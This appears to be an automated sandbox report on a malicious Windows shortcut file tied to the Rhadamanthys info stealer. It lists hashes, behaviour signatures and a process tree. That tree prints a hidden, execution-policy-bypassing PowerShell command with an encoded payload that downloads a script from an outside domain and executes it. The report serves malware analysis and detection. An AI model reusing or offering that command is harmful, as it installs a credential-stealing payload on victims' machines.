Analysis

  • max time kernel
    91s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-04-2024 11:41

General

  • Target

    DOC5723 - 57235723.lnk

  • Size

    10KB

  • MD5

    dec2ee189e7b882fd5059db29646d4c2

  • SHA1

    d7ae2f7991fecf19f24c37c3b8034c98f1b3f12f

  • SHA256

    eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0

  • SHA512

    e37dd83c3e98c59df3cbedd0ea6623617833e84d20a26102b7f9a7d960a19e241dccec19b19d812117f39499a373602f03436db64e121e18d91b4d40da7ca47e

  • SSDEEP

    192:8z5z9h43MSBfSW7rD6N+7yURE5sJloSR6wVlZevESj0s+l2UeU/poOEDhK9Mtd:u53+MS5hrDqLiJ/R6kn0n2kU/p0DhHtd

Score
10/10

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2640
      • C:\Windows\system32\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1440
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:5028
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4500

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tf12b4s0.heq.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1440-23-0x000001449EA20000-0x000001449EA29000-memory.dmp

      Filesize

      36KB

    • memory/1440-35-0x00000144A04A0000-0x00000144A08A0000-memory.dmp

      Filesize

      4.0MB

    • memory/1440-28-0x00000144A04A0000-0x00000144A08A0000-memory.dmp

      Filesize

      4.0MB

    • memory/1440-34-0x00007FFBE02F0000-0x00007FFBE05B9000-memory.dmp

      Filesize

      2.8MB

    • memory/1440-31-0x00000144A04A0000-0x00000144A08A0000-memory.dmp

      Filesize

      4.0MB

    • memory/1440-30-0x00007FFBE28D0000-0x00007FFBE2AC5000-memory.dmp

      Filesize

      2.0MB

    • memory/1440-32-0x00007FFBE2730000-0x00007FFBE27EE000-memory.dmp

      Filesize

      760KB

    • memory/4500-15-0x000001A27EB10000-0x000001A27EB20000-memory.dmp

      Filesize

      64KB

    • memory/4500-16-0x000001A27EB70000-0x000001A27EF70000-memory.dmp

      Filesize

      4.0MB

    • memory/4500-20-0x000001A27EB70000-0x000001A27EF70000-memory.dmp

      Filesize

      4.0MB

    • memory/4500-22-0x00007FFBE02F0000-0x00007FFBE05B9000-memory.dmp

      Filesize

      2.8MB

    • memory/4500-17-0x000001A27EB10000-0x000001A27EB20000-memory.dmp

      Filesize

      64KB

    • memory/4500-21-0x00007FFBE2730000-0x00007FFBE27EE000-memory.dmp

      Filesize

      760KB

    • memory/4500-18-0x000001A27EB70000-0x000001A27EF70000-memory.dmp

      Filesize

      4.0MB

    • memory/4500-19-0x00007FFBE28D0000-0x00007FFBE2AC5000-memory.dmp

      Filesize

      2.0MB

    • memory/4500-7-0x000001A27DD60000-0x000001A27DD82000-memory.dmp

      Filesize

      136KB

    • memory/4500-33-0x000001A27EB70000-0x000001A27EF70000-memory.dmp

      Filesize

      4.0MB

    • memory/4500-14-0x000001A27EAB0000-0x000001A27EB0E000-memory.dmp

      Filesize

      376KB

    • memory/4500-29-0x00007FFBC4850000-0x00007FFBC5311000-memory.dmp

      Filesize

      10.8MB

    • memory/4500-13-0x000001A27DD90000-0x000001A27DDA0000-memory.dmp

      Filesize

      64KB

    • memory/4500-12-0x00007FFBC4850000-0x00007FFBC5311000-memory.dmp

      Filesize

      10.8MB